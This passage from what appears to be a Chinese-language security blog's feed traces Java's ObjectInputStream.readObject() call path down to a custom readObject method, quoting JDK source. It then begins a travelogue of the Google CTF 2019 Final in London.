localDesc.writeReplaceMethod;</div><div class="line">	    readResolveMethod = localDesc.readResolveMethod;</div><div class="line">	    <span class="keyword">if</span> (deserializeEx == <span class="keyword">null</span>) &#123;</div><div class="line">	        deserializeEx = localDesc.deserializeEx;</div><div class="line">	    &#125;</div><div class="line">	&#125;</div><div class="line">	fieldRefl = getReflector(fields, localDesc);</div><div class="line">	<span class="comment">// reassign to matched fields so as to reflect local unshared settings</span></div><div class="line">	fields = fieldRefl.getFields();</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這個方法做了很多初始化操作</p>
<p>包括前面講的 suid 檢查、計算等，在這個方法中都有處理到</p>
<p>這裡要稍微注意，參數 <code>model</code> 是我們剛剛從序列化 Stream 中，讀出來的 <code>readDesc</code>，而目前 <code>initNonProxy</code> 這個方法是由我們前面剛建立的 <code>desc</code> 呼叫的</p>
<p>這個方法會使用 <code>readDesc</code> (反序列化還原出來的) 屬性來初始化 <code>desc</code>，所以必須先檢查 <code>readDesc</code> 正確性</p>
<p>為了檢查 <code>readDesc</code> 正確性，它會判斷跟本地直接 new 出來的物件 <code>localDesc</code> 的 suid, class name 等內容是否相同，若不同則拋出 Exception</p>
<p>其中 <code>localDesc = lookup(cl, true)</code> 是根據 class，返回對應的 class descriptor:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> ObjectStreamClass <span class="title">lookup</span><span class="params">(Class&lt;?&gt; cl, <span class="keyword">boolean</span> all)</span> </span>&#123;</div><div class="line">...</div><div class="line"><span class="keyword">if</span> (entry == <span class="keyword">null</span>) &#123;</div><div class="line">  <span class="keyword">try</span> &#123;</div><div class="line">      entry = <span class="keyword">new</span> ObjectStreamClass(cl);</div><div class="line">  &#125; <span class="keyword">catch</span> (Throwable th) &#123;</div><div class="line">      entry = th;</div><div class="line">  &#125;</div><div class="line">        ...</div><div class="line">&#125;</div><div class="line"><span class="keyword">if</span> (entry <span class="keyword">instanceof</span> ObjectStreamClass) &#123;</div><div class="line">    <span class="keyword">return</span> (ObjectStreamClass) entry;</div><div class="line">...</div></pre></td></tr></table></figure>
<p>可以看到它建立了一個新的 <code>ObjectStreamClass</code> 物件</p>
<p>來看一下 <code>ObjectStreamClass</code> 的 constructor:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Creates local class descriptor representing given class.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> <span class="title">ObjectStreamClass</span><span class="params">(<span class="keyword">final</span> Class&lt;?&gt; cl)</span> </span>&#123;</div><div class="line">    <span class="keyword">this</span>.cl = cl;</div><div class="line">    name = cl.getName();</div><div class="line">    isProxy = Proxy.isProxyClass(cl);</div><div class="line">    isEnum = Enum.class.isAssignableFrom(cl);</div><div class="line">    serializable = Serializable.class.isAssignableFrom(cl);</div><div class="line">    externalizable = Externalizable.class.isAssignableFrom(cl);</div><div class="line"></div><div class="line">    Class&lt;?&gt; superCl = cl.getSuperclass();</div><div class="line">    superDesc = (superCl != <span class="keyword">null</span>) ? lookup(superCl, <span class="keyword">false</span>) : <span class="keyword">null</span>;</div><div class="line">    localDesc = <span class="keyword">this</span>;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (serializable) &#123;</div><div class="line">        AccessController.doPrivileged(<span class="keyword">new</span> PrivilegedAction&lt;Void&gt;() &#123;</div><div class="line">            <span class="function"><span class="keyword">public</span> Void <span class="title">run</span><span class="params">()</span> </span>&#123;</div><div class="line">                <span class="keyword">if</span> (isEnum) &#123;</div><div class="line">                    suid = Long.valueOf(<span class="number">0</span>);</div><div class="line">                    fields = NO_FIELDS;</div><div class="line">                    <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">                &#125;</div><div class="line">                <span class="keyword">if</span> (cl.isArray()) &#123;</div><div class="line">                    fields = NO_FIELDS;</div><div class="line">                    <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">                &#125;</div><div class="line"></div><div class="line">                suid = getDeclaredSUID(cl);</div><div class="line">                <span class="keyword">try</span> &#123;</div><div class="line">                    fields = getSerialFields(cl);</div><div class="line">                    computeFieldOffsets();</div><div class="line">                &#125; <span class="keyword">catch</span> (InvalidClassException e) &#123;</div><div class="line">                    serializeEx = deserializeEx =</div><div class="line">                        <span class="keyword">new</span> ExceptionInfo(e.classname, e.getMessage());</div><div class="line">                    fields = NO_FIELDS;</div><div class="line">                &#125;</div><div class="line"></div><div class="line">                <span class="keyword">if</span> (externalizable) &#123;</div><div class="line">                    cons = getExternalizableConstructor(cl);</div><div class="line">                &#125; <span class="keyword">else</span> &#123;</div><div class="line">                    cons = getSerializableConstructor(cl);</div><div class="line">                    writeObjectMethod = getPrivateMethod(cl, <span class="string">"writeObject"</span>,</div><div class="line">                        <span class="keyword">new</span> Class&lt;?&gt;[] &#123; ObjectOutputStream.class &#125;,</div><div class="line">                        Void.TYPE);</div><div class="line">                    readObjectMethod = getPrivateMethod(cl, <span class="string">"readObject"</span>,</div><div class="line">                        <span class="keyword">new</span> Class&lt;?&gt;[] &#123; ObjectInputStream.class &#125;,</div><div class="line">                        Void.TYPE);</div><div class="line">                    readObjectNoDataMethod = getPrivateMethod(</div><div class="line">                        cl, <span class="string">"readObjectNoData"</span>, <span class="keyword">null</span>, Void.TYPE);</div><div class="line">                    hasWriteObjectData = (writeObjectMethod != <span class="keyword">null</span>);</div><div class="line">                &#125;</div><div class="line">                writeReplaceMethod = getInheritableMethod(</div><div class="line">                    cl, <span class="string">"writeReplace"</span>, <span class="keyword">null</span>, Object.class);</div><div class="line">                readResolveMethod = getInheritableMethod(</div><div class="line">                    cl, <span class="string">"readResolve"</span>, <span class="keyword">null</span>, Object.class);</div><div class="line">                <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">            &#125;</div><div class="line">        &#125;);</div><div class="line"></div><div class="line">        ...</div></pre></td></tr></table></figure>
<p>這裡的 <code>cons</code> 為 <code>cl</code> 對應的 constructor</p>
<p>而後面的 <code>writeObjectMethod</code>, <code>readObjectMethod</code>, <code>readObjectNoDataMethod</code> 都是透過 <code>getPrivateMethod()</code> 反射取得的方法</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Returns non-static private method with given signature defined by given</div><div class="line"> * class, or null if none found.  Access checks are disabled on the</div><div class="line"> * returned method (if any).</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> Method <span class="title">getPrivateMethod</span><span class="params">(Class&lt;?&gt; cl, String name,</span></span></div><div class="line">                                       Class&lt;?&gt;[] argTypes,</div><div class="line">                                       Class&lt;?&gt; returnType)</div><div class="line">&#123;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        Method meth = cl.getDeclaredMethod(name, argTypes);</div><div class="line">        meth.setAccessible(<span class="keyword">true</span>);</div><div class="line">        <span class="keyword">int</span> mods = meth.getModifiers();</div><div class="line">        <span class="keyword">return</span> ((meth.getReturnType() == returnType) &amp;&amp;</div><div class="line">                ((mods &amp; Modifier.STATIC) == <span class="number">0</span>) &amp;&amp;</div><div class="line">                ((mods &amp; Modifier.PRIVATE) != <span class="number">0</span>)) ? meth : <span class="keyword">null</span>;</div><div class="line">    &#125; <span class="keyword">catch</span> (NoSuchMethodException ex) &#123;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>然後回到剛剛的<code>initNonProxy()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">localDesc = lookup(cl, <span class="keyword">true</span>);</div><div class="line">...</div><div class="line">cons = localDesc.cons;</div><div class="line">writeObjectMethod = localDesc.writeObjectMethod;</div><div class="line">readObjectMethod = localDesc.readObjectMethod;</div><div class="line">readObjectNoDataMethod = localDesc.readObjectNoDataMethod;</div><div class="line">writeReplaceMethod = localDesc.writeReplaceMethod;</div><div class="line">...</div></pre></td></tr></table></figure>
<p>我們前面建立的 <code>ObjectStreamClass</code> 物件，就是這裡的 <code>localDesc</code></p>
<p>它把 <code>localDesc</code> 中的 <code>Constructor</code>, <code>writeObjectMethod</code>, <code>readObjectNoDataMethod</code>, <code>writeReplaceMethod</code> 都賦值到當前物件屬性上</p>
<p>也就是再更前面的 <code>readNonProxyDesc()</code> 中的 <code>desc</code> 物件</p>
<p>所以目前 <code>desc</code> 物件已經初始化完成，裡頭有我們剛剛反射出來的 <code>Constuctor</code>, <code>readObjectNoDataMethod</code> 等屬性</p>
<p>接著就把這個物件返回給 <code>readClassDesc()</code> 的 <code>descriptor</code></p>
<p>之後過一個 validator 檢查:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> (descriptor != <span class="keyword">null</span>) &#123;</div><div class="line">    validateDescriptor(descriptor);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>檢查通過之後，就 return 回最開頭的 <code>readOrdinaryObject()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> Object <span class="title">readOrdinaryObject</span><span class="params">(<span class="keyword">boolean</span> unshared)</span></span></div><div class="line">        <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    ...</div><div class="line">    ObjectStreamClass desc = readClassDesc(<span class="keyword">false</span>);  <span class="comment">// 返回的 descriptor</span></div><div class="line">    ...</div><div class="line">    Object obj;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        obj = desc.isInstantiable() ? desc.newInstance() : <span class="keyword">null</span>;</div><div class="line">    &#125; <span class="keyword">catch</span> (Exception ex) &#123;</div><div class="line">        <span class="keyword">throw</span> (IOException) <span class="keyword">new</span> InvalidClassException(</div><div class="line">            desc.forClass().getName(),</div><div class="line">            <span class="string">"unable to create instance"</span>).initCause(ex);</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">    <span class="keyword">if</span> (desc.isExternalizable()) &#123;</div><div class="line">        readExternalData((Externalizable) obj, desc);</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        readSerialData(obj, desc);</div><div class="line">    &#125;</div></pre></td></tr></table></figure>
<p>可以看到這裡呼叫 <code>desc.newInstance()</code> 做實例化，其實背後就是透過我們剛才得到的 Constructor 去生成物件:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="function">Object <span class="title">newInstance</span><span class="params">()</span></span></div><div class="line">        <span class="keyword">throws</span> InstantiationException, InvocationTargetException,</div><div class="line">               UnsupportedOperationException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (cons != <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">try</span> &#123;</div><div class="line">            <span class="keyword">return</span> cons.newInstance();</div><div class="line">        &#125; <span class="keyword">catch</span> (IllegalAccessException ex) &#123;</div><div class="line">            <span class="comment">// should not occur, as access checks have been suppressed</span></div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> InternalError(ex);</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> UnsupportedOperationException();</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>接著，當 <code>desc</code> 不是 <code>Externalizable</code> 時會呼叫 <code>readSerialData(obj, desc)</code></p>
<p>繼續跟下去:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Reads (or attempts to skip, if obj is null or is tagged with a</div><div class="line"> * ClassNotFoundException) instance data for each serializable class of</div><div class="line"> * object in stream, from superclass to subclass.  Expects that passHandle</div><div class="line"> * is set to obj's handle before this method is called.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readSerialData</span><span class="params">(Object obj, ObjectStreamClass desc)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; slots.length; i++) &#123;</div><div class="line">        ObjectStreamClass slotDesc = slots[i].desc;</div><div class="line"></div><div class="line">        <span class="keyword">if</span> (slots[i].hasData) &#123;</div><div class="line">            <span class="keyword">if</span> (obj == <span class="keyword">null</span> || handles.lookupException(passHandle) != <span class="keyword">null</span>) &#123;</div><div class="line">                defaultReadFields(<span class="keyword">null</span>, slotDesc); <span class="comment">// skip field values</span></div><div class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (slotDesc.hasReadObjectMethod()) &#123;</div><div class="line">                ThreadDeath t = <span class="keyword">null</span>;</div><div class="line">                <span class="keyword">boolean</span> reset = <span class="keyword">false</span>;</div><div class="line">                SerialCallbackContext oldContext = curContext;</div><div class="line">                <span class="keyword">if</span> (oldContext != <span class="keyword">null</span>)</div><div class="line">                    oldContext.check();</div><div class="line">                <span class="keyword">try</span> &#123;</div><div class="line">                    curContext = <span class="keyword">new</span> SerialCallbackContext(obj, slotDesc);</div><div class="line"></div><div class="line">                    bin.setBlockDataMode(<span class="keyword">true</span>);</div><div class="line">                    slotDesc.invokeReadObject(obj, <span class="keyword">this</span>);</div><div class="line">                &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</div><div class="line">                    <span class="comment">/*</span></div><div class="line">                     * In most cases, the handle table has already</div><div class="line">                     * propagated a CNFException to passHandle at this</div><div class="line">                     * point; this mark call is included to address cases</div><div class="line">                     * where the custom readObject method has cons'ed and</div><div class="line">                     * thrown a new CNFException of its own.</div><div class="line">                     */</div><div class="line">                    handles.markException(passHandle, ex);</div><div class="line">                &#125; <span class="keyword">finally</span> &#123;</div><div class="line">                    curContext.setUsed();</div><div class="line">                    curContext = oldContext;</div><div class="line">                &#125;</div><div class="line"></div><div class="line">                <span class="comment">/*</span></div><div class="line">                 * defaultDataEnd may have been set indirectly by custom</div><div class="line">                 * readObject() method when calling defaultReadObject() or</div><div class="line">                 * readFields(); clear it to restore normal read behavior.</div><div class="line">                 */</div><div class="line">                defaultDataEnd = <span class="keyword">false</span>;</div><div class="line">            &#125; <span class="keyword">else</span> &#123;</div><div class="line">                defaultReadFields(obj, slotDesc);</div><div class="line">            &#125;</div><div class="line">            ...</div></pre></td></tr></table></figure>
<p>如果我們有自己重寫 <code>readObject</code>，則呼叫 <code>slotDesc.invokeReadObject(obj, this)</code><br>若沒有，則呼叫 <code>defaultReadFields</code> 填充數據</p>
<p><code>invokeReadObject()</code> 實際上就是去呼叫我們重寫的 readObject:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Invokes the readObject method of the represented serializable class.</div><div class="line"> * Throws UnsupportedOperationException if this class descriptor is not</div><div class="line"> * associated with a class, or if the class is externalizable,</div><div class="line"> * non-serializable or does not define readObject.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">invokeReadObject</span><span class="params">(Object obj, ObjectInputStream in)</span></span></div><div class="line">    <span class="keyword">throws</span> ClassNotFoundException, IOException,</div><div class="line">           UnsupportedOperationException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (readObjectMethod != <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">try</span> &#123;</div><div class="line">            readObjectMethod.invoke(obj, <span class="keyword">new</span> Object[]&#123; in &#125;);</div><div class="line">        &#125; <span class="keyword">catch</span> (InvocationTargetException ex) &#123;</div><div class="line">            Throwable th = ex.getTargetException();</div><div class="line">            <span class="keyword">if</span> (th <span class="keyword">instanceof</span> ClassNotFoundException) &#123;</div><div class="line">                <span class="keyword">throw</span> (ClassNotFoundException) th;</div><div class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (th <span class="keyword">instanceof</span> IOException) &#123;</div><div class="line">                <span class="keyword">throw</span> (IOException) th;</div><div class="line">            &#125; <span class="keyword">else</span> &#123;</div><div class="line">                throwMiscException(th);</div><div class="line">            &#125;</div><div class="line">        &#125; <span class="keyword">catch</span> (IllegalAccessException ex) &#123;</div><div class="line">            <span class="comment">// should not occur, as access checks have been suppressed</span></div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> InternalError(ex);</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> UnsupportedOperationException();</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>接著可以看到 <code>readObjectMethod.invoke(obj, new Object[]{ in })</code></p>
<p>這裡的 <code>readObjectMethod</code> 就是我們前面透過反射設定的 readObject 方法，也就是 <code>Kaibro.readObject</code></p>
<p>所以到目前為止，終於追到我們一開始的目標了!</p>
<p>從 <code>ObjectInputStream.readObject()</code> 一路追到這裡我們自己重寫的 <code>Kaibro.readObject()</code></p>
<p>打完收工！</p>
<p><br></p>
<p>最後再小補充一下，一般我們在重寫的 <code>readObject()</code> 中，會去呼叫 <code>ObjectInputStream.defaultReadObject()</code></p>
<p>它的作用是會去讀出 non-static 和 non-transient 的 field 出來</p>
<p>例如 <code>Kaibro</code> 這個例子裡，我在 <code>readObject()</code> 中，第一行呼叫了 <code>in.defaultReadObject()</code></p>
<p>追一下這個方法:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Read the non-static and non-transient fields of the current class from</div><div class="line"> * this stream.  This may only be called from the readObject method of the</div><div class="line"> * class being deserialized. It will throw the NotActiveException if it is</div><div class="line"> * called otherwise.</div><div class="line"> *</div><div class="line"> * <span class="doctag">@throws</span>  ClassNotFoundException if the class of a serialized object</div><div class="line"> *          could not be found.</div><div class="line"> * <span class="doctag">@throws</span>  IOException if an I/O error occurs.</div><div class="line"> * <span class="doctag">@throws</span>  NotActiveException if the stream is not currently reading</div><div class="line"> *          objects.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">defaultReadObject</span><span class="params">()</span></span></div><div class="line">    <span class="keyword">throws</span> IOException, ClassNotFoundException</div><div class="line">&#123;</div><div class="line">    SerialCallbackContext ctx = curContext;</div><div class="line">    <span class="keyword">if</span> (ctx == <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> NotActiveException(<span class="string">"not in call to readObject"</span>);</div><div class="line">    &#125;</div><div class="line">    Object curObj = ctx.getObj();</div><div class="line">    ObjectStreamClass curDesc = ctx.getDesc();</div><div class="line">    bin.setBlockDataMode(<span class="keyword">false</span>);</div><div class="line">    defaultReadFields(curObj, curDesc);</div><div class="line">    bin.setBlockDataMode(<span class="keyword">true</span>);</div><div class="line">    <span class="keyword">if</span> (!curDesc.hasWriteObjectData()) &#123;</div><div class="line">        <span class="comment">/*</span></div><div class="line">         * Fix for 4360508: since stream does not contain terminating</div><div class="line">         * TC_ENDBLOCKDATA tag, set flag so that reading code elsewhere</div><div class="line">         * knows to simulate end-of-custom-data behavior.</div><div class="line">         */</div><div class="line">        defaultDataEnd = <span class="keyword">true</span>;</div><div class="line">    &#125;</div><div class="line">    ClassNotFoundException ex = handles.lookupException(passHandle);</div><div class="line">    <span class="keyword">if</span> (ex != <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> ex;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>可以看到實際上這個方法，背後其實也會呼叫 <code>defaultReadFields(curObj, curDesc)</code> 去填充物件的 field</p>
<p>所以如果我們把 <code>defaultReadObject()</code> 拔掉，那我們物件的 field 就沒辦法正常還原</p>
<p>一樣以我們的 <code>Kaibro</code> class 為例，如果把 <code>in.defaultReadObject()</code> 拿掉</p>
<p>最後反序列化時，<code>System.out.println(tmp.gg)</code> 的結果就會是 <code>null</code></p>
<p><br></p>
<h2 id="u7E3D_u7D50"><a href="#u7E3D_u7D50" class="headerlink" title="總結"></a>總結</h2><p>這篇文章中，我們是用實作 <code>Serializable</code> 的 <code>Kaibro</code> class 當作例子去追</p>
<p>並未深入去追使用 <code>Externalizable</code> 的例子</p>
<p>但其實流程都大同小異，有興趣的讀者可以自己追一下</p>
<blockquote>
<p>Externalizable:<br>該接口 extends Serializable 接口，並新增兩種方法: writeExternal 和 readExternal<br>這兩個方法會在序列化和反序列化過程中被調用</p>
</blockquote>
<p><br></p>
<p>由於這篇是為了追自定義 <code>readObject</code> 的呼叫時機</p>
<p>所以未對 Java 序列化格式與讀取方式做細部分析</p>
<p>對這方面有興趣的讀者可以去看 Java Serialization Protocol 的 spec:<br><a href="https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html" target="_blank" rel="external">https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html</a></p>
<p><br></p>
<p>最後，簡化一下整篇的執行流程:</p>
<ul>
<li><code>ObjectInputSteram.readObject()</code><ul>
<li><code>readObject0()</code><ul>
<li><code>readOrdinaryObject()</code><ul>
<li><code>desc = readClassDesc(false)</code><ul>
<li><code>descriptor = readNonProxyDesc(unshared)</code><ul>
<li><code>readDesc = readClassDescriptor()</code></li>
<li><code>cl = resolveClass(readDesc)</code></li>
<li><code>filterCheck(cl, -1)</code></li>
<li><code>desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false))</code><ul>
<li>各種初始化、檢查 suid 等</li>
</ul>
</li>
<li><code>return desc</code></li>
</ul>
</li>
<li><code>return descriptor</code></li>
</ul>
</li>
<li><code>obj = desc.isInstantiable() ? desc.newInstance() : null</code></li>
<li><code>readSerialData(obj, desc)</code><ul>
<li><code>slotDesc.invokeReadObject(obj, this)</code><ul>
<li><code>readObjectMethod.invoke(obj, new Object[]{ in })</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><br></p>
<p>因為這篇是用空閒時間隨意寫的，如果有哪邊寫錯或寫不清楚，歡迎留言指教!</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>近期上班有點忙，沒有太多空閒時間能學新東西</p>
<p>剛好前陣子蠻常遇到 java 反序列化，就用下班後的零碎時間稍微小跟了一下 <code>readObject()</code> 底層流程</p>
<p>雖然都是萬年老梗內容，但還是順手筆記一下追 code 的過程</p>
<p>大家都很熟 readObject 用法，但應該很少人實際去追過底層 (?)</p>
<p>(同時也順便更新一下很久沒放技術文的 Blog XD)</p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="Java" scheme="http://blog.kaibro.tw/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Google CTF 2019 Final 遊記]]></title>
    <link href="http://blog.kaibro.tw/2019/11/05/Google-CTF-2019-Final-%E9%81%8A%E8%A8%98/"/>
    <id>http://blog.kaibro.tw/2019/11/05/Google-CTF-2019-Final-遊記/</id>
    <published>2019-11-05T14:34:05.000Z</published>
    <updated>2020-02-23T11:53:05.000Z</updated>
    <content type="html"><![CDATA[<h1 id="Google_CTF_2019_Final"><a href="#Google_CTF_2019_Final" class="headerlink" title="Google CTF 2019 Final"></a>Google CTF 2019 Final</h1><p><img src="https://i.imgur.com/beVZJwI.png" alt="Final Scoreboard"></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這場是 Google 舉辦的 CTF 決賽，地點在英國倫敦的 Google 大樓內</p>
<p>比賽時間兩天，都是早上9點開始，第一天到晚上8點，第二天到晚上6點半</p>
<p>但其實回飯店後還是能繼續解題，題目都不會關，只有部分題目沒辦法線上解</p>
<p>(p.s. 內文圖多慎入)</p>
<a id="more"></a>
<p><img src="https://i.imgur.com/DYKXG5a.jpg" alt=""></p>
<p><br></p>
<h2 id="CTF"><a href="#CTF" class="headerlink" title="CTF"></a>CTF</h2><p><img src="https://i.imgur.com/NQQPVI6.jpg" alt=""></p>
<p>現場跟初賽很大的不同點是，現場賽會有一些特殊的硬體類題目</p>
<p>或是一些必須真人到場才能解的題目，例如開鎖題</p>
<p><br></p>
<p>而題目總共有七種分類：crypto, hardware, misc, sandbox, pwn, reversing, web</p>
<p>前面講的開鎖題 (Picky blinders) 就被歸類在 Misc 中</p>
<p>這題會讓各隊選偏好的時段，然後時間到就會被抓出去外面開鎖</p>
<p>然後這題有三個鎖，第一個鎖應該算練習用的，是那種透明教學用的鎖</p>
